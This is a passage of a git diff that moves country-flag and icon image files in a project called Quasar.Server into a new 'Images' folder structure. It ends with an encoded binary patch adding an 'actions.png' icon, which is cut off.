Quasar.Server/Images/Flags/gp.png diff --git a/Quasar.Server/flags/gq.png b/Quasar.Server/Images/Flags/gq.png similarity index 100% rename from Quasar.Server/flags/gq.png rename to Quasar.Server/Images/Flags/gq.png diff --git a/Quasar.Server/flags/gr.png b/Quasar.Server/Images/Flags/gr.png similarity index 100% rename from Quasar.Server/flags/gr.png rename to Quasar.Server/Images/Flags/gr.png diff --git a/Quasar.Server/flags/gs.png b/Quasar.Server/Images/Flags/gs.png similarity index 100% rename from Quasar.Server/flags/gs.png rename to Quasar.Server/Images/Flags/gs.png diff --git a/Quasar.Server/flags/gt.png b/Quasar.Server/Images/Flags/gt.png similarity index 100% rename from Quasar.Server/flags/gt.png rename to Quasar.Server/Images/Flags/gt.png diff --git a/Quasar.Server/flags/gu.png b/Quasar.Server/Images/Flags/gu.png similarity index 100% rename from Quasar.Server/flags/gu.png rename to Quasar.Server/Images/Flags/gu.png diff --git a/Quasar.Server/flags/gw.png b/Quasar.Server/Images/Flags/gw.png similarity index 100% rename from Quasar.Server/flags/gw.png rename to Quasar.Server/Images/Flags/gw.png diff --git a/Quasar.Server/flags/gy.png b/Quasar.Server/Images/Flags/gy.png similarity index 100% rename from Quasar.Server/flags/gy.png rename to Quasar.Server/Images/Flags/gy.png diff --git a/Quasar.Server/flags/hk.png b/Quasar.Server/Images/Flags/hk.png similarity index 100% rename from Quasar.Server/flags/hk.png rename to Quasar.Server/Images/Flags/hk.png diff --git a/Quasar.Server/flags/hm.png b/Quasar.Server/Images/Flags/hm.png similarity index 100% rename from Quasar.Server/flags/hm.png rename to Quasar.Server/Images/Flags/hm.png diff --git a/Quasar.Server/flags/hn.png b/Quasar.Server/Images/Flags/hn.png similarity index 100% rename from Quasar.Server/flags/hn.png rename to Quasar.Server/Images/Flags/hn.png diff --git a/Quasar.Server/flags/hr.png b/Quasar.Server/Images/Flags/hr.png similarity index 100% rename from Quasar.Server/flags/hr.png rename to Quasar.Server/Images/Flags/hr.png diff --git a/Quasar.Server/flags/ht.png b/Quasar.Server/Images/Flags/ht.png similarity index 100% rename from Quasar.Server/flags/ht.png rename to Quasar.Server/Images/Flags/ht.png diff --git a/Quasar.Server/flags/hu.png b/Quasar.Server/Images/Flags/hu.png similarity index 100% rename from Quasar.Server/flags/hu.png rename to Quasar.Server/Images/Flags/hu.png diff --git a/Quasar.Server/flags/id.png b/Quasar.Server/Images/Flags/id.png similarity index 100% rename from Quasar.Server/flags/id.png rename to Quasar.Server/Images/Flags/id.png diff --git a/Quasar.Server/flags/ie.png b/Quasar.Server/Images/Flags/ie.png similarity index 100% rename from Quasar.Server/flags/ie.png rename to Quasar.Server/Images/Flags/ie.png diff --git a/Quasar.Server/flags/il.png b/Quasar.Server/Images/Flags/il.png similarity index 100% rename from Quasar.Server/flags/il.png rename to Quasar.Server/Images/Flags/il.png diff --git a/Quasar.Server/flags/in.png b/Quasar.Server/Images/Flags/in.png similarity index 100% rename from Quasar.Server/flags/in.png rename to Quasar.Server/Images/Flags/in.png diff --git a/Quasar.Server/flags/io.png b/Quasar.Server/Images/Flags/io.png similarity index 100% rename from Quasar.Server/flags/io.png rename to Quasar.Server/Images/Flags/io.png diff --git a/Quasar.Server/flags/iq.png b/Quasar.Server/Images/Flags/iq.png similarity index 100% rename from Quasar.Server/flags/iq.png rename to Quasar.Server/Images/Flags/iq.png diff --git a/Quasar.Server/flags/ir.png b/Quasar.Server/Images/Flags/ir.png similarity index 100% rename from Quasar.Server/flags/ir.png rename to Quasar.Server/Images/Flags/ir.png diff --git a/Quasar.Server/flags/is.png b/Quasar.Server/Images/Flags/is.png similarity index 100% rename from Quasar.Server/flags/is.png rename to Quasar.Server/Images/Flags/is.png diff --git a/Quasar.Server/flags/it.png b/Quasar.Server/Images/Flags/it.png similarity index 100% rename from Quasar.Server/flags/it.png rename to Quasar.Server/Images/Flags/it.png diff --git a/Quasar.Server/flags/jm.png b/Quasar.Server/Images/Flags/jm.png similarity index 100% rename from Quasar.Server/flags/jm.png rename to Quasar.Server/Images/Flags/jm.png diff --git a/Quasar.Server/flags/jo.png b/Quasar.Server/Images/Flags/jo.png similarity index 100% rename from Quasar.Server/flags/jo.png rename to Quasar.Server/Images/Flags/jo.png diff --git a/Quasar.Server/flags/jp.png b/Quasar.Server/Images/Flags/jp.png similarity index 100% rename from Quasar.Server/flags/jp.png rename to Quasar.Server/Images/Flags/jp.png diff --git a/Quasar.Server/flags/ke.png b/Quasar.Server/Images/Flags/ke.png similarity index 100% rename from Quasar.Server/flags/ke.png rename to Quasar.Server/Images/Flags/ke.png diff --git a/Quasar.Server/flags/kg.png b/Quasar.Server/Images/Flags/kg.png similarity index 100% rename from Quasar.Server/flags/kg.png rename to Quasar.Server/Images/Flags/kg.png diff --git a/Quasar.Server/flags/kh.png b/Quasar.Server/Images/Flags/kh.png similarity index 100% rename from Quasar.Server/flags/kh.png rename to Quasar.Server/Images/Flags/kh.png diff --git a/Quasar.Server/flags/ki.png b/Quasar.Server/Images/Flags/ki.png similarity index 100% rename from Quasar.Server/flags/ki.png rename to Quasar.Server/Images/Flags/ki.png diff --git a/Quasar.Server/flags/km.png b/Quasar.Server/Images/Flags/km.png similarity index 100% rename from Quasar.Server/flags/km.png rename to Quasar.Server/Images/Flags/km.png diff --git a/Quasar.Server/flags/kn.png b/Quasar.Server/Images/Flags/kn.png similarity index 100% rename from Quasar.Server/flags/kn.png rename to Quasar.Server/Images/Flags/kn.png diff --git a/Quasar.Server/flags/kp.png b/Quasar.Server/Images/Flags/kp.png similarity index 100% rename from Quasar.Server/flags/kp.png rename to Quasar.Server/Images/Flags/kp.png diff --git a/Quasar.Server/flags/kr.png b/Quasar.Server/Images/Flags/kr.png similarity index 100% rename from Quasar.Server/flags/kr.png rename to Quasar.Server/Images/Flags/kr.png diff --git a/Quasar.Server/flags/kw.png b/Quasar.Server/Images/Flags/kw.png similarity index 100% rename from Quasar.Server/flags/kw.png rename to Quasar.Server/Images/Flags/kw.png diff --git a/Quasar.Server/flags/ky.png b/Quasar.Server/Images/Flags/ky.png similarity index 100% rename from Quasar.Server/flags/ky.png rename to Quasar.Server/Images/Flags/ky.png diff --git a/Quasar.Server/flags/kz.png b/Quasar.Server/Images/Flags/kz.png similarity index 100% rename from Quasar.Server/flags/kz.png rename to Quasar.Server/Images/Flags/kz.png diff --git a/Quasar.Server/flags/la.png b/Quasar.Server/Images/Flags/la.png similarity index 100% rename from Quasar.Server/flags/la.png rename to Quasar.Server/Images/Flags/la.png diff --git a/Quasar.Server/flags/lb.png b/Quasar.Server/Images/Flags/lb.png similarity index 100% rename from Quasar.Server/flags/lb.png rename to Quasar.Server/Images/Flags/lb.png diff --git a/Quasar.Server/flags/lc.png b/Quasar.Server/Images/Flags/lc.png similarity index 100% rename from Quasar.Server/flags/lc.png rename to Quasar.Server/Images/Flags/lc.png diff --git a/Quasar.Server/flags/li.png b/Quasar.Server/Images/Flags/li.png similarity index 100% rename from Quasar.Server/flags/li.png rename to Quasar.Server/Images/Flags/li.png diff --git a/Quasar.Server/flags/lk.png b/Quasar.Server/Images/Flags/lk.png similarity index 100% rename from Quasar.Server/flags/lk.png rename to Quasar.Server/Images/Flags/lk.png diff --git a/Quasar.Server/flags/lr.png b/Quasar.Server/Images/Flags/lr.png similarity index 100% rename from Quasar.Server/flags/lr.png rename to Quasar.Server/Images/Flags/lr.png diff --git a/Quasar.Server/flags/ls.png b/Quasar.Server/Images/Flags/ls.png similarity index 100% rename from Quasar.Server/flags/ls.png rename to Quasar.Server/Images/Flags/ls.png diff --git a/Quasar.Server/flags/lt.png b/Quasar.Server/Images/Flags/lt.png similarity index 100% rename from Quasar.Server/flags/lt.png rename to Quasar.Server/Images/Flags/lt.png diff --git a/Quasar.Server/flags/lu.png b/Quasar.Server/Images/Flags/lu.png similarity index 100% rename from Quasar.Server/flags/lu.png rename to Quasar.Server/Images/Flags/lu.png diff --git a/Quasar.Server/flags/lv.png b/Quasar.Server/Images/Flags/lv.png similarity index 100% rename from Quasar.Server/flags/lv.png rename to Quasar.Server/Images/Flags/lv.png diff --git a/Quasar.Server/flags/ly.png b/Quasar.Server/Images/Flags/ly.png similarity index 100% rename from Quasar.Server/flags/ly.png rename to Quasar.Server/Images/Flags/ly.png diff --git a/Quasar.Server/flags/ma.png b/Quasar.Server/Images/Flags/ma.png similarity index 100% rename from Quasar.Server/flags/ma.png rename to Quasar.Server/Images/Flags/ma.png diff --git a/Quasar.Server/flags/mc.png b/Quasar.Server/Images/Flags/mc.png similarity index 100% rename from Quasar.Server/flags/mc.png rename to Quasar.Server/Images/Flags/mc.png diff --git a/Quasar.Server/flags/md.png b/Quasar.Server/Images/Flags/md.png similarity index 100% rename from Quasar.Server/flags/md.png rename to Quasar.Server/Images/Flags/md.png diff --git a/Quasar.Server/flags/me.png b/Quasar.Server/Images/Flags/me.png similarity index 100% rename from Quasar.Server/flags/me.png rename to Quasar.Server/Images/Flags/me.png diff --git a/Quasar.Server/flags/mg.png b/Quasar.Server/Images/Flags/mg.png similarity index 100% rename from Quasar.Server/flags/mg.png rename to Quasar.Server/Images/Flags/mg.png diff --git a/Quasar.Server/flags/mh.png b/Quasar.Server/Images/Flags/mh.png similarity index 100% rename from Quasar.Server/flags/mh.png rename to Quasar.Server/Images/Flags/mh.png diff --git a/Quasar.Server/flags/mk.png b/Quasar.Server/Images/Flags/mk.png similarity index 100% rename from Quasar.Server/flags/mk.png rename to Quasar.Server/Images/Flags/mk.png diff --git a/Quasar.Server/flags/ml.png b/Quasar.Server/Images/Flags/ml.png similarity index 100% rename from Quasar.Server/flags/ml.png rename to Quasar.Server/Images/Flags/ml.png diff --git a/Quasar.Server/flags/mm.png b/Quasar.Server/Images/Flags/mm.png similarity index 100% rename from Quasar.Server/flags/mm.png rename to Quasar.Server/Images/Flags/mm.png diff --git a/Quasar.Server/flags/mn.png b/Quasar.Server/Images/Flags/mn.png similarity index 100% rename from Quasar.Server/flags/mn.png rename to Quasar.Server/Images/Flags/mn.png diff --git a/Quasar.Server/flags/mo.png b/Quasar.Server/Images/Flags/mo.png similarity index 100% rename from Quasar.Server/flags/mo.png rename to Quasar.Server/Images/Flags/mo.png diff --git a/Quasar.Server/flags/mp.png b/Quasar.Server/Images/Flags/mp.png similarity index 100% rename from Quasar.Server/flags/mp.png rename to Quasar.Server/Images/Flags/mp.png diff --git a/Quasar.Server/flags/mq.png b/Quasar.Server/Images/Flags/mq.png similarity index 100% rename from Quasar.Server/flags/mq.png rename to Quasar.Server/Images/Flags/mq.png diff --git a/Quasar.Server/flags/mr.png b/Quasar.Server/Images/Flags/mr.png similarity index 100% rename from Quasar.Server/flags/mr.png rename to Quasar.Server/Images/Flags/mr.png diff --git a/Quasar.Server/flags/ms.png b/Quasar.Server/Images/Flags/ms.png similarity index 100% rename from Quasar.Server/flags/ms.png rename to Quasar.Server/Images/Flags/ms.png diff --git a/Quasar.Server/flags/mt.png b/Quasar.Server/Images/Flags/mt.png similarity index 100% rename from Quasar.Server/flags/mt.png rename to Quasar.Server/Images/Flags/mt.png diff --git a/Quasar.Server/flags/mu.png b/Quasar.Server/Images/Flags/mu.png similarity index 100% rename from Quasar.Server/flags/mu.png rename to Quasar.Server/Images/Flags/mu.png diff --git a/Quasar.Server/flags/mv.png b/Quasar.Server/Images/Flags/mv.png similarity index 100% rename from Quasar.Server/flags/mv.png rename to Quasar.Server/Images/Flags/mv.png diff --git a/Quasar.Server/flags/mw.png b/Quasar.Server/Images/Flags/mw.png similarity index 100% rename from Quasar.Server/flags/mw.png rename to Quasar.Server/Images/Flags/mw.png diff --git a/Quasar.Server/flags/mx.png b/Quasar.Server/Images/Flags/mx.png similarity index 100% rename from Quasar.Server/flags/mx.png rename to Quasar.Server/Images/Flags/mx.png diff --git a/Quasar.Server/flags/my.png b/Quasar.Server/Images/Flags/my.png similarity index 100% rename from Quasar.Server/flags/my.png rename to Quasar.Server/Images/Flags/my.png diff --git a/Quasar.Server/flags/mz.png b/Quasar.Server/Images/Flags/mz.png similarity index 100% rename from Quasar.Server/flags/mz.png rename to Quasar.Server/Images/Flags/mz.png diff --git a/Quasar.Server/flags/na.png b/Quasar.Server/Images/Flags/na.png similarity index 100% rename from Quasar.Server/flags/na.png rename to Quasar.Server/Images/Flags/na.png diff --git a/Quasar.Server/flags/nc.png b/Quasar.Server/Images/Flags/nc.png similarity index 100% rename from Quasar.Server/flags/nc.png rename to Quasar.Server/Images/Flags/nc.png diff --git a/Quasar.Server/flags/ne.png b/Quasar.Server/Images/Flags/ne.png similarity index 100% rename from Quasar.Server/flags/ne.png rename to Quasar.Server/Images/Flags/ne.png diff --git a/Quasar.Server/flags/nf.png b/Quasar.Server/Images/Flags/nf.png similarity index 100% rename from Quasar.Server/flags/nf.png rename to Quasar.Server/Images/Flags/nf.png diff --git a/Quasar.Server/flags/ng.png b/Quasar.Server/Images/Flags/ng.png similarity index 100% rename from Quasar.Server/flags/ng.png rename to Quasar.Server/Images/Flags/ng.png diff --git a/Quasar.Server/flags/ni.png b/Quasar.Server/Images/Flags/ni.png similarity index 100% rename from Quasar.Server/flags/ni.png rename to Quasar.Server/Images/Flags/ni.png diff --git a/Quasar.Server/flags/nl.png b/Quasar.Server/Images/Flags/nl.png similarity index 100% rename from Quasar.Server/flags/nl.png rename to Quasar.Server/Images/Flags/nl.png diff --git a/Quasar.Server/flags/no.png b/Quasar.Server/Images/Flags/no.png similarity index 100% rename from Quasar.Server/flags/no.png rename to Quasar.Server/Images/Flags/no.png diff --git a/Quasar.Server/flags/np.png b/Quasar.Server/Images/Flags/np.png similarity index 100% rename from Quasar.Server/flags/np.png rename to Quasar.Server/Images/Flags/np.png diff --git a/Quasar.Server/flags/nr.png b/Quasar.Server/Images/Flags/nr.png similarity index 100% rename from Quasar.Server/flags/nr.png rename to Quasar.Server/Images/Flags/nr.png diff --git a/Quasar.Server/flags/nu.png b/Quasar.Server/Images/Flags/nu.png similarity index 100% rename from Quasar.Server/flags/nu.png rename to Quasar.Server/Images/Flags/nu.png diff --git a/Quasar.Server/flags/nz.png b/Quasar.Server/Images/Flags/nz.png similarity index 100% rename from Quasar.Server/flags/nz.png rename to Quasar.Server/Images/Flags/nz.png diff --git a/Quasar.Server/flags/om.png b/Quasar.Server/Images/Flags/om.png similarity index 100% rename from Quasar.Server/flags/om.png rename to Quasar.Server/Images/Flags/om.png diff --git a/Quasar.Server/flags/pa.png b/Quasar.Server/Images/Flags/pa.png similarity index 100% rename from Quasar.Server/flags/pa.png rename to Quasar.Server/Images/Flags/pa.png diff --git a/Quasar.Server/flags/pe.png b/Quasar.Server/Images/Flags/pe.png similarity index 100% rename from Quasar.Server/flags/pe.png rename to Quasar.Server/Images/Flags/pe.png diff --git a/Quasar.Server/flags/pf.png b/Quasar.Server/Images/Flags/pf.png similarity index 100% rename from Quasar.Server/flags/pf.png rename to Quasar.Server/Images/Flags/pf.png diff --git a/Quasar.Server/flags/pg.png b/Quasar.Server/Images/Flags/pg.png similarity index 100% rename from Quasar.Server/flags/pg.png rename to Quasar.Server/Images/Flags/pg.png diff --git a/Quasar.Server/flags/ph.png b/Quasar.Server/Images/Flags/ph.png similarity index 100% rename from Quasar.Server/flags/ph.png rename to Quasar.Server/Images/Flags/ph.png diff --git a/Quasar.Server/flags/pk.png b/Quasar.Server/Images/Flags/pk.png similarity index 100% rename from Quasar.Server/flags/pk.png rename to Quasar.Server/Images/Flags/pk.png diff --git a/Quasar.Server/flags/pl.png b/Quasar.Server/Images/Flags/pl.png similarity index 100% rename from Quasar.Server/flags/pl.png rename to Quasar.Server/Images/Flags/pl.png diff --git a/Quasar.Server/flags/pm.png b/Quasar.Server/Images/Flags/pm.png similarity index 100% rename from Quasar.Server/flags/pm.png rename to Quasar.Server/Images/Flags/pm.png diff --git a/Quasar.Server/flags/pn.png b/Quasar.Server/Images/Flags/pn.png similarity index 100% rename from Quasar.Server/flags/pn.png rename to Quasar.Server/Images/Flags/pn.png diff --git a/Quasar.Server/flags/pr.png b/Quasar.Server/Images/Flags/pr.png similarity index 100% rename from Quasar.Server/flags/pr.png rename to Quasar.Server/Images/Flags/pr.png diff --git a/Quasar.Server/flags/ps.png b/Quasar.Server/Images/Flags/ps.png similarity index 100% rename from Quasar.Server/flags/ps.png rename to Quasar.Server/Images/Flags/ps.png diff --git a/Quasar.Server/flags/pt.png b/Quasar.Server/Images/Flags/pt.png similarity index 100% rename from Quasar.Server/flags/pt.png rename to Quasar.Server/Images/Flags/pt.png diff --git a/Quasar.Server/flags/pw.png b/Quasar.Server/Images/Flags/pw.png similarity index 100% rename from Quasar.Server/flags/pw.png rename to Quasar.Server/Images/Flags/pw.png diff --git a/Quasar.Server/flags/py.png b/Quasar.Server/Images/Flags/py.png similarity index 100% rename from Quasar.Server/flags/py.png rename to Quasar.Server/Images/Flags/py.png diff --git a/Quasar.Server/flags/qa.png b/Quasar.Server/Images/Flags/qa.png similarity index 100% rename from Quasar.Server/flags/qa.png rename to Quasar.Server/Images/Flags/qa.png diff --git a/Quasar.Server/flags/re.png b/Quasar.Server/Images/Flags/re.png similarity index 100% rename from Quasar.Server/flags/re.png rename to Quasar.Server/Images/Flags/re.png diff --git a/Quasar.Server/flags/ro.png b/Quasar.Server/Images/Flags/ro.png similarity index 100% rename from Quasar.Server/flags/ro.png rename to Quasar.Server/Images/Flags/ro.png diff --git a/Quasar.Server/flags/rs.png b/Quasar.Server/Images/Flags/rs.png similarity index 100% rename from Quasar.Server/flags/rs.png rename to Quasar.Server/Images/Flags/rs.png diff --git a/Quasar.Server/flags/ru.png b/Quasar.Server/Images/Flags/ru.png similarity index 100% rename from Quasar.Server/flags/ru.png rename to Quasar.Server/Images/Flags/ru.png diff --git a/Quasar.Server/flags/rw.png b/Quasar.Server/Images/Flags/rw.png similarity index 100% rename from Quasar.Server/flags/rw.png rename to Quasar.Server/Images/Flags/rw.png diff --git a/Quasar.Server/flags/sa.png b/Quasar.Server/Images/Flags/sa.png similarity index 100% rename from Quasar.Server/flags/sa.png rename to Quasar.Server/Images/Flags/sa.png diff --git a/Quasar.Server/flags/sb.png b/Quasar.Server/Images/Flags/sb.png similarity index 100% rename from Quasar.Server/flags/sb.png rename to Quasar.Server/Images/Flags/sb.png diff --git a/Quasar.Server/flags/sc.png b/Quasar.Server/Images/Flags/sc.png similarity index 100% rename from Quasar.Server/flags/sc.png rename to Quasar.Server/Images/Flags/sc.png diff --git a/Quasar.Server/flags/scotland.png b/Quasar.Server/Images/Flags/scotland.png similarity index 100% rename from Quasar.Server/flags/scotland.png rename to Quasar.Server/Images/Flags/scotland.png diff --git a/Quasar.Server/flags/sd.png b/Quasar.Server/Images/Flags/sd.png similarity index 100% rename from Quasar.Server/flags/sd.png rename to Quasar.Server/Images/Flags/sd.png diff --git a/Quasar.Server/flags/se.png b/Quasar.Server/Images/Flags/se.png similarity index 100% rename from Quasar.Server/flags/se.png rename to Quasar.Server/Images/Flags/se.png diff --git a/Quasar.Server/flags/sg.png b/Quasar.Server/Images/Flags/sg.png similarity index 100% rename from Quasar.Server/flags/sg.png rename to Quasar.Server/Images/Flags/sg.png diff --git a/Quasar.Server/flags/sh.png b/Quasar.Server/Images/Flags/sh.png similarity index 100% rename from Quasar.Server/flags/sh.png rename to Quasar.Server/Images/Flags/sh.png diff --git a/Quasar.Server/flags/si.png b/Quasar.Server/Images/Flags/si.png similarity index 100% rename from Quasar.Server/flags/si.png rename to Quasar.Server/Images/Flags/si.png diff --git a/Quasar.Server/flags/sj.png b/Quasar.Server/Images/Flags/sj.png similarity index 100% rename from Quasar.Server/flags/sj.png rename to Quasar.Server/Images/Flags/sj.png diff --git a/Quasar.Server/flags/sk.png b/Quasar.Server/Images/Flags/sk.png similarity index 100% rename from Quasar.Server/flags/sk.png rename to Quasar.Server/Images/Flags/sk.png diff --git a/Quasar.Server/flags/sl.png b/Quasar.Server/Images/Flags/sl.png similarity index 100% rename from Quasar.Server/flags/sl.png rename to Quasar.Server/Images/Flags/sl.png diff --git a/Quasar.Server/flags/sm.png b/Quasar.Server/Images/Flags/sm.png similarity index 100% rename from Quasar.Server/flags/sm.png rename to Quasar.Server/Images/Flags/sm.png diff --git a/Quasar.Server/flags/sn.png b/Quasar.Server/Images/Flags/sn.png similarity index 100% rename from Quasar.Server/flags/sn.png rename to Quasar.Server/Images/Flags/sn.png diff --git a/Quasar.Server/flags/so.png b/Quasar.Server/Images/Flags/so.png similarity index 100% rename from Quasar.Server/flags/so.png rename to Quasar.Server/Images/Flags/so.png diff --git a/Quasar.Server/flags/sr.png b/Quasar.Server/Images/Flags/sr.png similarity index 100% rename from Quasar.Server/flags/sr.png rename to Quasar.Server/Images/Flags/sr.png diff --git a/Quasar.Server/flags/st.png b/Quasar.Server/Images/Flags/st.png similarity index 100% rename from Quasar.Server/flags/st.png rename to Quasar.Server/Images/Flags/st.png diff --git a/Quasar.Server/flags/sv.png b/Quasar.Server/Images/Flags/sv.png similarity index 100% rename from Quasar.Server/flags/sv.png rename to Quasar.Server/Images/Flags/sv.png diff --git a/Quasar.Server/flags/sy.png b/Quasar.Server/Images/Flags/sy.png similarity index 100% rename from Quasar.Server/flags/sy.png rename to Quasar.Server/Images/Flags/sy.png diff --git a/Quasar.Server/flags/sz.png b/Quasar.Server/Images/Flags/sz.png similarity index 100% rename from Quasar.Server/flags/sz.png rename to Quasar.Server/Images/Flags/sz.png diff --git a/Quasar.Server/flags/tc.png b/Quasar.Server/Images/Flags/tc.png similarity index 100% rename from Quasar.Server/flags/tc.png rename to Quasar.Server/Images/Flags/tc.png diff --git a/Quasar.Server/flags/td.png b/Quasar.Server/Images/Flags/td.png similarity index 100% rename from Quasar.Server/flags/td.png rename to Quasar.Server/Images/Flags/td.png diff --git a/Quasar.Server/flags/tf.png b/Quasar.Server/Images/Flags/tf.png similarity index 100% rename from Quasar.Server/flags/tf.png rename to Quasar.Server/Images/Flags/tf.png diff --git a/Quasar.Server/flags/tg.png b/Quasar.Server/Images/Flags/tg.png similarity index 100% rename from Quasar.Server/flags/tg.png rename to Quasar.Server/Images/Flags/tg.png diff --git a/Quasar.Server/flags/th.png b/Quasar.Server/Images/Flags/th.png similarity index 100% rename from Quasar.Server/flags/th.png rename to Quasar.Server/Images/Flags/th.png diff --git a/Quasar.Server/flags/tj.png b/Quasar.Server/Images/Flags/tj.png similarity index 100% rename from Quasar.Server/flags/tj.png rename to Quasar.Server/Images/Flags/tj.png diff --git a/Quasar.Server/flags/tk.png b/Quasar.Server/Images/Flags/tk.png similarity index 100% rename from Quasar.Server/flags/tk.png rename to Quasar.Server/Images/Flags/tk.png diff --git a/Quasar.Server/flags/tl.png b/Quasar.Server/Images/Flags/tl.png similarity index 100% rename from Quasar.Server/flags/tl.png rename to Quasar.Server/Images/Flags/tl.png diff --git a/Quasar.Server/flags/tm.png b/Quasar.Server/Images/Flags/tm.png similarity index 100% rename from Quasar.Server/flags/tm.png rename to Quasar.Server/Images/Flags/tm.png diff --git a/Quasar.Server/flags/tn.png b/Quasar.Server/Images/Flags/tn.png similarity index 100% rename from Quasar.Server/flags/tn.png rename to Quasar.Server/Images/Flags/tn.png diff --git a/Quasar.Server/flags/to.png b/Quasar.Server/Images/Flags/to.png similarity index 100% rename from Quasar.Server/flags/to.png rename to Quasar.Server/Images/Flags/to.png diff --git a/Quasar.Server/flags/tr.png b/Quasar.Server/Images/Flags/tr.png similarity index 100% rename from Quasar.Server/flags/tr.png rename to Quasar.Server/Images/Flags/tr.png diff --git a/Quasar.Server/flags/tt.png b/Quasar.Server/Images/Flags/tt.png similarity index 100% rename from Quasar.Server/flags/tt.png rename to Quasar.Server/Images/Flags/tt.png diff --git a/Quasar.Server/flags/tv.png b/Quasar.Server/Images/Flags/tv.png similarity index 100% rename from Quasar.Server/flags/tv.png rename to Quasar.Server/Images/Flags/tv.png diff --git a/Quasar.Server/flags/tw.png b/Quasar.Server/Images/Flags/tw.png similarity index 100% rename from Quasar.Server/flags/tw.png rename to Quasar.Server/Images/Flags/tw.png diff --git a/Quasar.Server/flags/tz.png b/Quasar.Server/Images/Flags/tz.png similarity index 100% rename from Quasar.Server/flags/tz.png rename to Quasar.Server/Images/Flags/tz.png diff --git a/Quasar.Server/flags/ua.png b/Quasar.Server/Images/Flags/ua.png similarity index 100% rename from Quasar.Server/flags/ua.png rename to Quasar.Server/Images/Flags/ua.png diff --git a/Quasar.Server/flags/ug.png b/Quasar.Server/Images/Flags/ug.png similarity index 100% rename from Quasar.Server/flags/ug.png rename to Quasar.Server/Images/Flags/ug.png diff --git a/Quasar.Server/flags/um.png b/Quasar.Server/Images/Flags/um.png similarity index 100% rename from Quasar.Server/flags/um.png rename to Quasar.Server/Images/Flags/um.png diff --git a/Quasar.Server/flags/us.png b/Quasar.Server/Images/Flags/us.png similarity index 100% rename from Quasar.Server/flags/us.png rename to Quasar.Server/Images/Flags/us.png diff --git a/Quasar.Server/flags/uy.png b/Quasar.Server/Images/Flags/uy.png similarity index 100% rename from Quasar.Server/flags/uy.png rename to Quasar.Server/Images/Flags/uy.png diff --git a/Quasar.Server/flags/uz.png b/Quasar.Server/Images/Flags/uz.png similarity index 100% rename from Quasar.Server/flags/uz.png rename to Quasar.Server/Images/Flags/uz.png diff --git a/Quasar.Server/flags/va.png b/Quasar.Server/Images/Flags/va.png similarity index 100% rename from Quasar.Server/flags/va.png rename to Quasar.Server/Images/Flags/va.png diff --git a/Quasar.Server/flags/vc.png b/Quasar.Server/Images/Flags/vc.png similarity index 100% rename from Quasar.Server/flags/vc.png rename to Quasar.Server/Images/Flags/vc.png diff --git a/Quasar.Server/flags/ve.png b/Quasar.Server/Images/Flags/ve.png similarity index 100% rename from Quasar.Server/flags/ve.png rename to Quasar.Server/Images/Flags/ve.png diff --git a/Quasar.Server/flags/vg.png b/Quasar.Server/Images/Flags/vg.png similarity index 100% rename from Quasar.Server/flags/vg.png rename to Quasar.Server/Images/Flags/vg.png diff --git a/Quasar.Server/flags/vi.png b/Quasar.Server/Images/Flags/vi.png similarity index 100% rename from Quasar.Server/flags/vi.png rename to Quasar.Server/Images/Flags/vi.png diff --git a/Quasar.Server/flags/vn.png b/Quasar.Server/Images/Flags/vn.png similarity index 100% rename from Quasar.Server/flags/vn.png rename to Quasar.Server/Images/Flags/vn.png diff --git a/Quasar.Server/flags/vu.png b/Quasar.Server/Images/Flags/vu.png similarity index 100% rename from Quasar.Server/flags/vu.png rename to Quasar.Server/Images/Flags/vu.png diff --git a/Quasar.Server/flags/wales.png b/Quasar.Server/Images/Flags/wales.png similarity index 100% rename from Quasar.Server/flags/wales.png rename to Quasar.Server/Images/Flags/wales.png diff --git a/Quasar.Server/flags/wf.png b/Quasar.Server/Images/Flags/wf.png similarity index 100% rename from Quasar.Server/flags/wf.png rename to Quasar.Server/Images/Flags/wf.png diff --git a/Quasar.Server/flags/ws.png b/Quasar.Server/Images/Flags/ws.png similarity index 100% rename from Quasar.Server/flags/ws.png rename to Quasar.Server/Images/Flags/ws.png diff --git a/Quasar.Server/flags/xy.png b/Quasar.Server/Images/Flags/xy.png similarity index 100% rename from Quasar.Server/flags/xy.png rename to Quasar.Server/Images/Flags/xy.png diff --git a/Quasar.Server/flags/ye.png b/Quasar.Server/Images/Flags/ye.png similarity index 100% rename from Quasar.Server/flags/ye.png rename to Quasar.Server/Images/Flags/ye.png diff --git a/Quasar.Server/flags/yt.png b/Quasar.Server/Images/Flags/yt.png similarity index 100% rename from Quasar.Server/flags/yt.png rename to Quasar.Server/Images/Flags/yt.png diff --git a/Quasar.Server/flags/za.png b/Quasar.Server/Images/Flags/za.png similarity index 100% rename from Quasar.Server/flags/za.png rename to Quasar.Server/Images/Flags/za.png diff --git a/Quasar.Server/flags/zm.png b/Quasar.Server/Images/Flags/zm.png similarity index 100% rename from Quasar.Server/flags/zm.png rename to Quasar.Server/Images/Flags/zm.png diff --git a/Quasar.Server/flags/zw.png b/Quasar.Server/Images/Flags/zw.png similarity index 100% rename from Quasar.Server/flags/zw.png rename to Quasar.Server/Images/Flags/zw.png diff --git a/Quasar.Server/icons/Quasar_Server.ico b/Quasar.Server/Images/Icons/Quasar_Server.ico similarity index 100% rename from Quasar.Server/icons/Quasar_Server.ico rename to Quasar.Server/Images/Icons/Quasar_Server.ico diff --git a/Quasar.Server/icons/Quasar_Server.png b/Quasar.Server/Images/Icons/Quasar_Server.png similarity index 100% rename from Quasar.Server/icons/Quasar_Server.png rename to Quasar.Server/Images/Icons/Quasar_Server.png diff --git a/Quasar.Server/Images/actions.png b/Quasar.Server/Images/actions.png new file mode 100644 index 0000000000000000000000000000000000000000..d7da501700e94d9a24ce0102b989c21271b525d1 GIT binary patch literal 536 zcmV+z0_XjSP)#AyqA$>K<)e!|K;Vy80M}zxAf_~>sgO>)qWz$fZU0D{yW=i zGW`7chhf9c8+T7%dK7(UP3lRa4M=L+_}|`2gW>;w5br<3_1kZL?>PFX?&Yl`T`!JL z`$y1#@ah%+Z7nrHdKv!x|Hts}?_Y+`Uw$y`JN10ugZqzS?{6u7hSz|=l7;`R%yob+ z_|NbcsQK^TKMcQr{bKn2`zOPV`=8%jz5hAs=E|haI1TVCnD^h*RFC2RzyA=;K#gBM ze`R?0_C3S%=Pw!VJ$n70flG4o{Z0A#SPgK^nDJjjQ-|TtpFa%WfBa(j{P_#efKLpc zKYd{M`2HQkw{PG6|K|{y^k7>>0Zs!nwGF`r{QUWo;p?~WK+PW+K7Dw{@czTwS06wB zNP4`teJf5cc;?RfZ(v}-@ay+)plv|SU%oPY`0$3|?yW03Uq88@@aDpb7kC5Fr)bW9 zb5nbU@85p_HGg5a`|#$^ODB(1zJG9W!q+FK{}YTx-_p7NZ7p0F-T?i4VE>kDw@x3A 